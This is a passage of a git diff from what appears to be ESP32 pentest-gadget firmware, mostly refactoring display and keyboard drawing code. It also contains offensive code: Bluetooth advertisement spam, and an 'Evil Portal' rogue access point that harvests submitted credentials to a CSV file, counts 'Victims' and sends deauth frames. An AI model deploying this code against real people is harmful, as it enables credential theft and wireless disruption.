String(count) + ")",TFT_WHITE,FGCOLOR); - if(mael == 0) executeSwiftpairSpam(Google); - if(mael == 1) executeSwiftpairSpam(Samsung); - if(mael == 2) executeSwiftpairSpam(Microsoft); + if(mael == 0) executeSpam(Google); + if(mael == 1) executeSpam(Samsung); + if(mael == 2) executeSpam(Microsoft); if(mael == 3) { - executeSourApple(); + executeSpam(Apple); mael = 0; } break; @@ -551,18 +537,12 @@ void aj_adv(int ble_choice){ break; } } + } - - - - - - - /* BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); diff --git a/src/ble_spam.h b/src/ble_spam.h index 733c3e36..c435ff7c 100644 --- a/src/ble_spam.h +++ b/src/ble_spam.h @@ -1,7 +1,4 @@ -#include -//#include - -void aj_adv_setup(); +#include void aj_adv(int ble_choice); diff --git a/src/display.cpp b/src/display.cpp index 6bb9775b..6ec7a7a3 100644 --- a/src/display.cpp +++ b/src/display.cpp @@ -20,18 +20,6 @@ void resetTftDisplay(int x, int y, uint16_t fc, int size, uint16_t bg, uint16_t tft.setTextColor(fc,bg); } -/*************************************************************************************** -** Function name: resetSpriteDisplay -> Sprite -** Description: set cursor to 0,0, screen and text to default color -***************************************************************************************/ -void resetSpriteDisplay(int x, int y, uint16_t fc, int size, uint16_t bg, uint16_t screen) { - if(x<0) x=0; - if(y<0) y=0; - sprite.setCursor(x,y); - sprite.fillScreen(screen); - sprite.setTextSize(size); - sprite.setTextColor(fc,bg); -} /*************************************************************************************** ** Function name: setTftDisplay ** Description: set cursor, font color, size and bg font color @@ -44,51 +32,12 @@ void setTftDisplay(int x, int y, uint16_t fc, int size, uint16_t bg) { tft.setTextColor(fc,bg); } -/*************************************************************************************** -** Function name: setSpriteDisplay -> SPRITE -** Description: set cursor, font color, size and bg font color of Sprite -***************************************************************************************/ -void setSpriteDisplay(int x, int y, uint16_t fc, int size, uint16_t bg) { - if (x>=0 && y<0) sprite.setCursor(x,sprite.getCursorY()); // if -1 on x, sets only y - else if (x<0 && y>=0) sprite.setCursor(sprite.getCursorX(),y); // if -1 on y, sets only x - else if (x>=0 && y>=0) sprite.setCursor(x,y); // if x and y > 0, sets both - sprite.setTextSize(size); - sprite.setTextColor(fc,bg); -} - /*************************************************************************************** ** Function name: BootScreen ** Description: Start Display functions and display bootscreen ***************************************************************************************/ void initDisplay(int i) { tft.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,FGCOLOR+i); -/* - sprite.fillRect(0,0,WIDTH,HEIGHT,BGCOLOR); - - srand(time(0)); - sprite.setTextSize(FP); - sprite.setCursor(0,0); - while(sprite.getCursorY()MAX_MENU_SIZE) menuSize = MAX_MENU_SIZE; - menu_op.createSprite(WIDTH*0.7, (FM*8+4)*menuSize + 10); - menu_op.fillRoundRect(0,0,WIDTH*0.7,(FM*8+4)*menuSize+10,5,bgcolor); + tft.fillRoundRect(WIDTH*0.15,HEIGHT/2-menuSize*(FM*8+4)/2 -5,WIDTH*0.7,(FM*8+4)*menuSize+10,5,bgcolor); - menu_op.setTextColor(fgcolor,bgcolor); - menu_op.setTextSize(FM); - menu_op.setCursor(5,5); + tft.setTextColor(fgcolor,bgcolor); + tft.setTextSize(FM); + tft.setCursor(WIDTH*0.15+5,HEIGHT/2-menuSize*(FM*8+4)/2); int i=0; int init = 0; @@ -226,15 +170,13 @@ void drawOptions(int index,const std::vectorMAX_MENU_SIZE) menuSize = MAX_MENU_SIZE; - menu_op.drawRoundRect(0,0,WIDTH*0.7,(FM*8+4)*menuSize+10,5,fgcolor); - menu_op.pushSprite(WIDTH*0.15,HEIGHT/2-menuSize*(FM*8+4)/2 -5); - menu_op.deleteSprite(); + tft.drawRoundRect(WIDTH*0.15,HEIGHT/2-menuSize*(FM*8+4)/2 -5,WIDTH*0.7,(FM*8+4)*menuSize+10,5,fgcolor); } /*************************************************************************************** @@ -243,46 +185,58 @@ void drawOptions(int index,const std::vector>>& options, String system) { int menuSize = options.size(); - - menu_op.deleteSprite(); - menu_op.createSprite(WIDTH - 20, HEIGHT - 35); - menu_op.setTextColor(FGCOLOR,BGCOLOR); - menu_op.setTextSize(FP); - menu_op.setCursor(2,3); - menu_op.setTextColor(FGCOLOR); - menu_op.println(system); + drawMainBorder(); + tft.setTextColor(FGCOLOR,BGCOLOR); + tft.fillRect(6,26,WIDTH-12,20,BGCOLOR); + tft.fillRoundRect(6,26,WIDTH-12,HEIGHT-32,5,BGCOLOR); + tft.setTextSize(FP); + tft.setCursor(12,30); + tft.setTextColor(FGCOLOR); + tft.println(system); if (index-1>=0) { - menu_op.setTextSize(FM); - menu_op.setTextColor(FGCOLOR-0x2000); - menu_op.drawCentreString(options[index-1].first.c_str(),menu_op.width()/2, 15,SMOOTH_FONT); + tft.setTextSize(FM); + tft.setTextColor(FGCOLOR-0x2000); + tft.drawCentreString(options[index-1].first.c_str(),WIDTH/2, 42,SMOOTH_FONT); } else { - menu_op.setTextSize(FM); - menu_op.setTextColor(FGCOLOR-0x2000); - menu_op.drawCentreString(options[menuSize-1].first.c_str(),menu_op.width()/2, 15,SMOOTH_FONT); + tft.setTextSize(FM); + tft.setTextColor(FGCOLOR-0x2000); + tft.drawCentreString(options[menuSize-1].first.c_str(),WIDTH/2, 42,SMOOTH_FONT); } - menu_op.setTextSize(FG); - menu_op.setTextColor(FGCOLOR); - menu_op.drawCentreString(options[index].first.c_str(),menu_op.width()/2, 40,SMOOTH_FONT); + tft.setTextSize(FG); + tft.setTextColor(FGCOLOR); + tft.drawCentreString(options[index].first.c_str(),WIDTH/2, 67,SMOOTH_FONT); if (index+1',sprite.width()-LW*FG,sprite.height()/2); - sprite.pushSprite(10,10); + tft.setTextSize(FM); + tft.drawCentreString(texts[index],tft.width()/2, tft.height()-(LH*FM+10), SMOOTH_FONT); + tft.setTextSize(FG); + tft.drawChar('<',10,tft.height()/2+10); + tft.drawChar('>',tft.width()-(LW*FG+10),tft.height()/2+10); draw.pushSprite(80,27); - - int i=0; - if(wifiConnected) { drawWifiSmall(WIDTH - 90, 7); i++;} //Draw Wifi Symbol beside battery - if(BLEConnected) { drawBLESmall(WIDTH - (90 + 20*i), 7); i++; } //Draw BLE beside Wifi - if(isConnectedWireguard) { drawWireguardStatus(WIDTH - (90 + 21*i), 7); i++; }//Draw Wg bedide BLE, if the others exist, if not, beside battery - - - tft.drawRoundRect(5, 5, WIDTH - 10, HEIGHT - 10, 5, FGCOLOR); - tft.drawLine(5, 25, WIDTH - 6, 25, FGCOLOR); - drawBatteryStatus(); + draw.deleteSprite(); } @@ -431,9 +371,9 @@ void drawWireguardStatus(int x, int y) { ***************************************************************************************/ #define MAX_ITEMS 7 void listFiles(int index, String fileList[][3]) { - sprite.fillRect(0,0,sprite.width(),sprite.height(),BGCOLOR); - sprite.setCursor(0,0); - sprite.setTextSize(FM); + tft.fillScreen(BGCOLOR); + tft.setCursor(10,10); + tft.setTextSize(FM); int arraySize = 0; while(fileList[arraySize][2]!="" && arraySize < MAXFILES) arraySize++; int i=0; @@ -445,40 +385,22 @@ void listFiles(int index, String fileList[][3]) { while(i=start && fileList[i][2]!="") { - if(fileList[i][2]=="folder") sprite.setTextColor(FGCOLOR-0x1111); - else if(fileList[i][2]=="operator") sprite.setTextColor(ALCOLOR); - else sprite.setTextColor(FGCOLOR); - - if (index==i) sprite.print(">"); - else sprite.print(" "); - sprite.println(fileList[i][0].substring(0,16)); + tft.setCursor(10,tft.getCursorY()); + if(fileList[i][2]=="folder") tft.setTextColor(FGCOLOR-0x1111); + else if(fileList[i][2]=="operator") tft.setTextColor(ALCOLOR); + else tft.setTextColor(FGCOLOR); + + if (index==i) tft.print(">"); + else tft.print(" "); + tft.println(fileList[i][0].substring(0,16)); } i++; if (i==(start+MAX_ITEMS) || fileList[i][2]=="") break; } - - sprite.pushSprite(10,10); } -void displayScanning() { - //Show Scanning display - menu_op.deleteSprite(); - menu_op.createSprite(WIDTH*0.7, FM*16); - menu_op.fillRoundRect(0,0,WIDTH*0.7,FM*16,5,BGCOLOR); - - menu_op.setTextColor(TFT_WHITE,FGCOLOR); - menu_op.setTextSize(FM); - menu_op.fillRoundRect(0,0,WIDTH*0.7,FM*16,5,FGCOLOR); - menu_op.drawCentreString("Scanning..",menu_op.width()/2,5,1); - - menu_op.pushSprite(WIDTH*0.15,HEIGHT/2-10 -5); - menu_op.deleteSprite(); -} - - - // desenhos do menu principal, sprite "draw" com 80x80 pixels void drawWifiSmall(int x, int y) { diff --git a/src/display.h b/src/display.h index 130bd9a7..ef6598ff 100644 --- a/src/display.h +++ b/src/display.h @@ -26,12 +26,11 @@ void drawOptions(int index,const std::vector>>& options, String system); +void drawMainBorder(); void drawMainMenu(int index = 0); void listFiles(int index, String fileList[][3]); -void displayScanning(); - void drawWireguardStatus(int x, int y); void progressHandler(int progress, size_t total); diff --git a/src/evil_portal.cpp b/src/evil_portal.cpp index 55a629a6..b15a05a4 100644 --- a/src/evil_portal.cpp +++ b/src/evil_portal.cpp @@ -5,7 +5,7 @@ #include "sd_functions.h" #include "wifi_atks.h" -WebServer ep(80); // initialise webserver +WebServer* ep= nullptr; // initialise webserver DNSServer dnsServer; String html_file, ep_logo, last_cred; @@ -25,6 +25,9 @@ const uint8_t deauth_frame_default2[] = { void startEvilPortal(String tssid, uint8_t channel, bool deauth) { + + ep=(WebServer*)malloc(sizeof(WebServer)); + new (ep) WebServer(80); bool redraw=true; // Definição da matriz "Options" options = { @@ -55,92 +58,90 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { wifiConnected=true; dnsServer.start(53, "*", WiFi.softAPIP()); - ep.on("/", [](){ - ep.send(200, "text/html", html_file); + ep->on("/", [](){ + ep->send(200, "text/html", html_file); }); - ep.on("/post", []() { + ep->on("/post", []() { String html_temp = "
  • "; // Else.. after all that, redirects to the page String csvLine = ""; last_cred=""; - for (int i = 0; i < ep.args(); i++) { - html_temp += ep.argName(i) + ": " + ep.arg(i) + "
    \n"; + for (int i = 0; i < ep->args(); i++) { + html_temp += ep->argName(i) + ": " + ep->arg(i) + "
    \n"; // Prepara dados para salvar no SD if (i != 0) { csvLine += ","; } - csvLine += ep.argName(i) + ": " + ep.arg(i); - last_cred += ep.argName(i).substring(0,3) + ": " + ep.arg(i) + "\n"; + csvLine += ep->argName(i) + ": " + ep->arg(i); + last_cred += ep->argName(i).substring(0,3) + ": " + ep->arg(i) + "\n"; } html_temp += "
  • \n"; saveToCSV("/Bruce_creds.csv", csvLine); capturedCredentialsHtml = html_temp + capturedCredentialsHtml; totalCapturedCredentials++; - ep.send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); + ep->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet.")); }); - ep.onNotFound([](){ - ep.send(200, "text/html", html_file); + ep->onNotFound([](){ + ep->send(200, "text/html", html_file); }); - ep.on("/creds", []() { - ep.send(200, "text/html", creds_GET()); + ep->on("/creds", []() { + ep->send(200, "text/html", creds_GET()); }); - ep.on("/ssid", []() { - ep.send(200, "text/html", ssid_GET()); + ep->on("/ssid", []() { + ep->send(200, "text/html", ssid_GET()); }); - ep.on("/postssid", [](){ - if(ep.hasArg("ssid")) AP_name = ep.arg("ssid").c_str(); - ep.send(200, "text/html", ssid_POST()); - ep.stop(); // pára o servidor + ep->on("/postssid", [](){ + if(ep->hasArg("ssid")) AP_name = ep->arg("ssid").c_str(); + ep->send(200, "text/html", ssid_POST()); + ep->stop(); // pára o servidor wifiDisconnect(); // desliga o WiFi WiFi.softAP(AP_name); // reinicia WiFi com novo SSID - ep.begin(); // reinicia o servidor + ep->begin(); // reinicia o servidor previousTotalCapturedCredentials=-1; // redesenha a tela }); - drawMainMenu(); - menu_op.deleteSprite(); - sprite.deleteSprite(); - ep.begin(); - tft.fillRect(6, 27, WIDTH-12, HEIGHT-33, BGCOLOR); - menu_op.deleteSprite(); - menu_op.createSprite(WIDTH-20, HEIGHT-35); + ep->begin(); bool hold_deauth = false; int tmp=millis(); // one deauth frame each 30ms at least redraw=true; while(1) { if(redraw) { - menu_op.fillRect(0,0,menu_op.width(), menu_op.height(),BGCOLOR); - menu_op.setTextSize(FM); - menu_op.setTextColor(TFT_RED); - menu_op.drawCentreString("Evil Portal",menu_op.width()/2, 3, SMOOTH_FONT); - menu_op.setCursor(0,20); - menu_op.setTextColor(FGCOLOR); - menu_op.println("AP: " + AP_name); - menu_op.println("->" + WiFi.softAPIP().toString() + "/creds"); - menu_op.println("->" + WiFi.softAPIP().toString() + "/ssid"); - menu_op.print("Victims: "); - menu_op.setTextColor(TFT_RED); - menu_op.println(String(totalCapturedCredentials)); - menu_op.setTextSize(FP); - menu_op.println(last_cred); + drawMainBorder(); + + tft.setTextSize(FM); + tft.setTextColor(TFT_RED); + tft.drawCentreString("Evil Portal",tft.width()/2, 29, SMOOTH_FONT); + tft.setCursor(8,46); + tft.setTextColor(FGCOLOR); + tft.println("AP: " + AP_name); + tft.setCursor(8,tft.getCursorY()); + tft.println("->" + WiFi.softAPIP().toString() + "/creds"); + tft.setCursor(8,tft.getCursorY()); + tft.println("->" + WiFi.softAPIP().toString() + "/ssid"); + tft.setCursor(8,tft.getCursorY()); + tft.print("Victims: "); + tft.setTextColor(TFT_RED); + tft.println(String(totalCapturedCredentials)); + tft.setCursor(8,tft.getCursorY()); + tft.setTextSize(FP); + tft.println(last_cred); if (deauth){ if (hold_deauth) { - menu_op.setTextSize(FP); - menu_op.setTextColor(FGCOLOR); - menu_op.drawRightString("Deauth OFF", menu_op.width(),menu_op.height()-8,SMOOTH_FONT); + tft.setTextSize(FP); + tft.setTextColor(FGCOLOR); + tft.drawRightString("Deauth OFF", tft.width()-6,tft.height()-8,SMOOTH_FONT); } else { - menu_op.setTextSize(FP); - menu_op.setTextColor(TFT_RED); - menu_op.drawRightString("Deauth ON", menu_op.width(),menu_op.height()-8,SMOOTH_FONT); + tft.setTextSize(FP); + tft.setTextColor(TFT_RED); + tft.drawRightString("Deauth ON", tft.width()-6,tft.height()-8,SMOOTH_FONT); } } - menu_op.pushSprite(8,26); redraw=false; } @@ -159,13 +160,15 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) { previousTotalCapturedCredentials = totalCapturedCredentials-1; } dnsServer.processNextRequest(); - ep.handleClient(); + ep->handleClient(); if(checkEscPress()) break; } - ep.close(); + ep->close(); + ep->~WebServer(); + free(ep); + ep=nullptr; dnsServer.stop(); - menu_op.deleteSprite(); delay(100); wifiDisconnect(); diff --git a/src/globals.h b/src/globals.h index cc6cb0ba..f4f9e2e2 100644 --- a/src/globals.h +++ b/src/globals.h @@ -23,7 +23,6 @@ // Declaração dos objetos TFT extern TFT_eSPI tft; extern TFT_eSprite sprite; -extern TFT_eSprite menu_op; extern TFT_eSprite draw; extern int prog_handler; // 0 - Flash, 1 - SPIFFS, 2 - Download diff --git a/src/main.cpp b/src/main.cpp index 4bd4941b..6a342a0d 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -21,7 +21,6 @@ uint8_t buff[4096] = {0}; // Protected global variables TFT_eSPI tft = TFT_eSPI(); // Invoke custom library TFT_eSprite sprite = TFT_eSprite(&tft); -TFT_eSprite menu_op = TFT_eSprite(&tft); TFT_eSprite draw = TFT_eSprite(&tft); #if defined(CARDPUTER) @@ -102,19 +101,15 @@ void setup() { getBrightness(); //Start Bootscreen timer int i = millis(); - sprite.createSprite(WIDTH, HEIGHT); - sprite.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_WHITE); - sprite.pushSprite(0,0); bool change=false; - while(millis()2000) && (millis()-i)<2500) tft.fillScreen(TFT_BLACK); - if((millis()-i>2500) && (millis()-i)<2700) sprite.pushSprite(0,0); + tft.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_WHITE); + while(millis()2000) && (millis()-i)<2200) tft.fillScreen(TFT_BLACK); + if((millis()-i>2200) && (millis()-i)<2700) tft.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_WHITE); if((millis()-i>2700) && (millis()-i)<2900) tft.fillScreen(TFT_BLACK); - if((millis()-i>3100) && (millis()-i)<3300 && !change) { sprite.pushSprite(0,0); change = true; } - if(change) { sprite.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_RED); change = false; } - if((millis()-i>3300) && (millis()-i)<3700) tft.fillScreen(TFT_BLACK); - if((millis()-i>3700)) sprite.pushSprite(0,0); - + if((millis()-i>2900) && (millis()-i)<3400 && !change) { tft.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_WHITE); } + if((millis()-i>3400) && (millis()-i)<3600) tft.fillScreen(TFT_BLACK); + if((millis()-i>3600)) tft.drawXBitmap(1,1,bits, bits_width, bits_height,TFT_BLACK,TFT_RED); #if defined (CARDPUTER) // If any key is pressed, it'll jump the boot screen Keyboard.update(); @@ -131,8 +126,6 @@ void setup() { // If M5 or Enter button is pressed, continue from here Program: - sprite.deleteSprite(); - sprite.createSprite(WIDTH-15,HEIGHT-15); delay(200); } diff --git a/src/mykeyboard.cpp b/src/mykeyboard.cpp index 14a05dd2..29d76dab 100644 --- a/src/mykeyboard.cpp +++ b/src/mykeyboard.cpp @@ -62,8 +62,6 @@ bool checkEscPress(){ #ifndef STICK_C /* Starts keyboard to type data */ String keyboard(String mytext, int maxSize, String msg) { - sprite.deleteSprite(); - sprite.createSprite(WIDTH,HEIGHT); resetTftDisplay(); bool caps=false; @@ -130,85 +128,83 @@ String keyboard(String mytext, int maxSize, String msg) { int i=0; int j=0; + bool redraw=true; delay(200); while(1) { - sprite.setCursor(0,0); - sprite.fillSprite(BGCOLOR); - sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.setTextSize(FM); + if(redraw) { + tft.setCursor(0,0); + tft.fillScreen(BGCOLOR); + tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.setTextSize(FM); - //Draw the rectangles - sprite.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle - sprite.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle - sprite.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle - sprite.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle - sprite.drawRect(3,32,WIDTH-3,20,FGCOLOR); // mystring Rectangle + //Draw the rectangles + tft.drawRect(7,2,46,20,TFT_WHITE); // Ok Rectangle + tft.drawRect(55,2,50,20,TFT_WHITE); // CAP Rectangle + tft.drawRect(107,2,50,20,TFT_WHITE); // DEL Rectangle + tft.drawRect(159,2,74,20,TFT_WHITE); // SPACE Rectangle + tft.drawRect(3,32,WIDTH-3,20,FGCOLOR); // mystring Rectangle - if(x==0 && y==-1) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(7,2,50,20,TFT_WHITE); } - else sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.drawString("OK", 18, 4); + if(x==0 && y==-1) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(7,2,50,20,TFT_WHITE); } + else tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.drawString("OK", 18, 4); + + if(x==1 && y==-1) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(55,2,50,20,TFT_WHITE); } + else if(caps) { tft.fillRect(55,2,50,20,TFT_DARKGREY); tft.setTextColor(TFT_WHITE, TFT_DARKGREY); } + else tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.drawString("CAP", 64, 4); - if(x==1 && y==-1) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(55,2,50,20,TFT_WHITE); } - else if(caps) { sprite.fillRect(55,2,50,20,TFT_DARKGREY); sprite.setTextColor(TFT_WHITE, TFT_DARKGREY); } - else sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.drawString("CAP", 64, 4); - - - if(x==2 && y==-1) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(107,2,50,20,TFT_WHITE); } - else sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.drawString("DEL", 115, 4); - - if(x>2 && y==-1) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(159,2,74,20,TFT_WHITE); } - else sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.drawString("SPACE", 168, 4); - - sprite.setTextSize(FP); - sprite.setTextColor(TFT_WHITE, 0x5AAB); - sprite.drawString(msg.substring(0,38), 3, 24); - - sprite.setTextSize(FM); - - - sprite.setTextColor(TFT_WHITE); - if(mytext.length()>19) { - sprite.setTextSize(FP); - if(mytext.length()>38) { - sprite.drawString(mytext.substring(0,38), 5, 34); - sprite.drawString(mytext.substring(38,mytext.length()), 5, 42); - } - else { - sprite.drawString(mytext, 5, 34); - } - } else { - sprite.drawString(mytext, 5, 34); - } - - - sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.setTextSize(FM); + if(x==2 && y==-1) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(107,2,50,20,TFT_WHITE); } + else tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.drawString("DEL", 115, 4); - for(i=0;i<4;i++) { - for(j=0;j<12;j++) { - /* If selected, change font color and draw Rectangle*/ - if(x==j && y==i) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(j*18+11,i*19+54,21,19,TFT_WHITE);} - - /* Print the letters */ - if(!caps) sprite.drawChar(keys[i][j][0], (j*18+16), (i*19+56)); - else sprite.drawChar(keys[i][j][1], (j*18+16), (i*19+56)); + if(x>2 && y==-1) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(159,2,74,20,TFT_WHITE); } + else tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.drawString("SPACE", 168, 4); - /* Return colors to normal to print the other letters */ - if(x==j && y==i) { sprite.setTextColor(TFT_WHITE, BGCOLOR); } + tft.setTextSize(FP); + tft.setTextColor(TFT_WHITE, 0x5AAB); + tft.drawString(msg.substring(0,38), 3, 24); + + tft.setTextSize(FM); + + + tft.setTextColor(TFT_WHITE); + if(mytext.length()>19) { + tft.setTextSize(FP); + if(mytext.length()>38) { + tft.drawString(mytext.substring(0,38), 5, 34); + tft.drawString(mytext.substring(38,mytext.length()), 5, 42); + } + else { + tft.drawString(mytext, 5, 34); + } + } else { + tft.drawString(mytext, 5, 34); } - } + + tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.setTextSize(FM); - // Print the Sprite into screen - sprite.pushSprite(0,0); + for(i=0;i<4;i++) { + for(j=0;j<12;j++) { + /* If selected, change font color and draw Rectangle*/ + if(x==j && y==i) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(j*18+11,i*19+54,21,19,TFT_WHITE);} + + /* Print the letters */ + if(!caps) tft.drawChar(keys[i][j][0], (j*18+16), (i*19+56)); + else tft.drawChar(keys[i][j][1], (j*18+16), (i*19+56)); + /* Return colors to normal to print the other letters */ + if(x==j && y==i) { tft.setTextColor(TFT_WHITE, BGCOLOR); } + } + } + redraw = false; + } /* When Select a key in keyboard */ #if defined (CARDPUTER) @@ -226,6 +222,7 @@ String keyboard(String mytext, int maxSize, String msg) { break; } delay(150); + redraw = true; } #else @@ -238,6 +235,7 @@ String keyboard(String mytext, int maxSize, String msg) { else if(x==2 && y==-1 && mytext.length() > 0) mytext.remove(mytext.length()-1); else if(x>2 && y==-1 && mytext.length()-1 && mytext.length()3) x=0; if(x>11) x=0; else if (x<0) x=11; - + redraw = true; } /* UP Btn to move in Y axis (Downwards) */ if(checkPrevPress()) { @@ -261,7 +259,8 @@ String keyboard(String mytext, int maxSize, String msg) { else y++; // short press if(y>3) { y=-1; } - else if(y<-1) y=3; + else if(y<-1) y=3; + redraw = true; } #endif @@ -269,7 +268,7 @@ String keyboard(String mytext, int maxSize, String msg) { } //Resets screen when finished writing - sprite.fillRect(0,0,sprite.width(),sprite.height(),BGCOLOR); + tft.fillRect(0,0,tft.width(),tft.height(),BGCOLOR); resetTftDisplay(); return mytext; @@ -279,8 +278,6 @@ String keyboard(String mytext, int maxSize, String msg) { /* Starts keyboard to type data */ String keyboard(String mytext, int maxSize, String msg) { - sprite.deleteSprite(); - sprite.createSprite(WIDTH,HEIGHT); resetTftDisplay(); bool caps=false; @@ -348,83 +345,82 @@ String keyboard(String mytext, int maxSize, String msg) { int i=0; int j=0; delay(200); + bool redraw = true; while(1) { - sprite.setCursor(0,0); - sprite.fillSprite(BGCOLOR); - sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.setTextSize(FM); + if(redraw) { + tft.setCursor(0,0); + tft.fillScreen(BGCOLOR); + tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.setTextSize(FM); - //Draw the rectangles - sprite.drawRect(7,2,20,10,TFT_WHITE); // Ok Rectangle - sprite.drawRect(27,2,25,10,TFT_WHITE); // CAP Rectangle - sprite.drawRect(52,2,25,10,TFT_WHITE); // DEL Rectangle - sprite.drawRect(77,2,50,10,TFT_WHITE); // SPACE Rectangle - sprite.drawRect(3,22,WIDTH-3,11,FGCOLOR); // mystring Rectangle + //Draw the rectangles + tft.drawRect(7,2,20,10,TFT_WHITE); // Ok Rectangle + tft.drawRect(27,2,25,10,TFT_WHITE); // CAP Rectangle + tft.drawRect(52,2,25,10,TFT_WHITE); // DEL Rectangle + tft.drawRect(77,2,50,10,TFT_WHITE); // SPACE Rectangle + tft.drawRect(3,22,WIDTH-3,11,FGCOLOR); // mystring Rectangle - if(x==0 && y==-1) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(7,2,20,10,TFT_WHITE); } - else sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.drawString("OK", 10, 4); + if(x==0 && y==-1) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(7,2,20,10,TFT_WHITE); } + else tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.drawString("OK", 10, 4); + + if(x==1 && y==-1) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(27,2,25,10,TFT_WHITE); } + else if(caps) { tft.fillRect(55,2,50,20,TFT_DARKGREY); tft.setTextColor(TFT_WHITE, TFT_DARKGREY); } + else tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.drawString("CAP", 30, 4); - if(x==1 && y==-1) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(27,2,25,10,TFT_WHITE); } - else if(caps) { sprite.fillRect(55,2,50,20,TFT_DARKGREY); sprite.setTextColor(TFT_WHITE, TFT_DARKGREY); } - else sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.drawString("CAP", 30, 4); - - - if(x==2 && y==-1) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(52,2,25,10,TFT_WHITE); } - else sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.drawString("DEL", 55, 4); - - if(x>2 && y==-1) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(77,2,50,10,TFT_WHITE); } - else sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.drawString("SPACE", 80, 4); - - sprite.setTextSize(FP); - sprite.setTextColor(TFT_WHITE); - sprite.drawString(msg.substring(0,38), 3, 14); - - sprite.setTextSize(FM); - - - sprite.setTextColor(TFT_WHITE, 0x5AAB); - if(mytext.length()>19) { - sprite.setTextSize(FP); - if(mytext.length()>38) { - sprite.drawString(mytext.substring(0,38), 5, 24); - sprite.drawString(mytext.substring(38,mytext.length()), 5, 32); - } - else { - sprite.drawString(mytext, 5, 24); - } - } else { - sprite.drawString(mytext, 5, 24); - } - - - sprite.setTextColor(TFT_WHITE, BGCOLOR); - sprite.setTextSize(FM); + if(x==2 && y==-1) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(52,2,25,10,TFT_WHITE); } + else tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.drawString("DEL", 55, 4); - for(i=0;i<4;i++) { - for(j=0;j<12;j++) { - /* If selected, change font color and draw Rectangle*/ - if(x==j && y==i) { sprite.setTextColor(BGCOLOR, TFT_WHITE); sprite.fillRect(j*11+15,i*9+34,10,10,TFT_WHITE);} - - /* Print the letters */ - if(!caps) sprite.drawChar(keys[i][j][0], (j*11+18), (i*9+36)); - else sprite.drawChar(keys[i][j][1], (j*11+18), (i*9+36)); + if(x>2 && y==-1) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(77,2,50,10,TFT_WHITE); } + else tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.drawString("SPACE", 80, 4); - /* Return colors to normal to print the other letters */ - if(x==j && y==i) { sprite.setTextColor(TFT_WHITE, BGCOLOR); } + tft.setTextSize(FP); + tft.setTextColor(TFT_WHITE); + tft.drawString(msg.substring(0,38), 3, 14); + + tft.setTextSize(FM); + + + tft.setTextColor(TFT_WHITE, 0x5AAB); + if(mytext.length()>19) { + tft.setTextSize(FP); + if(mytext.length()>38) { + tft.drawString(mytext.substring(0,38), 5, 24); + tft.drawString(mytext.substring(38,mytext.length()), 5, 32); + } + else { + tft.drawString(mytext, 5, 24); + } + } else { + tft.drawString(mytext, 5, 24); } - } + + + tft.setTextColor(TFT_WHITE, BGCOLOR); + tft.setTextSize(FM); + for(i=0;i<4;i++) { + for(j=0;j<12;j++) { + /* If selected, change font color and draw Rectangle*/ + if(x==j && y==i) { tft.setTextColor(BGCOLOR, TFT_WHITE); tft.fillRect(j*11+15,i*9+34,10,10,TFT_WHITE);} + + /* Print the letters */ + if(!caps) tft.drawChar(keys[i][j][0], (j*11+18), (i*9+36)); + else tft.drawChar(keys[i][j][1], (j*11+18), (i*9+36)); - // Print the Sprite into screen - sprite.pushSprite(0,0); + /* Return colors to 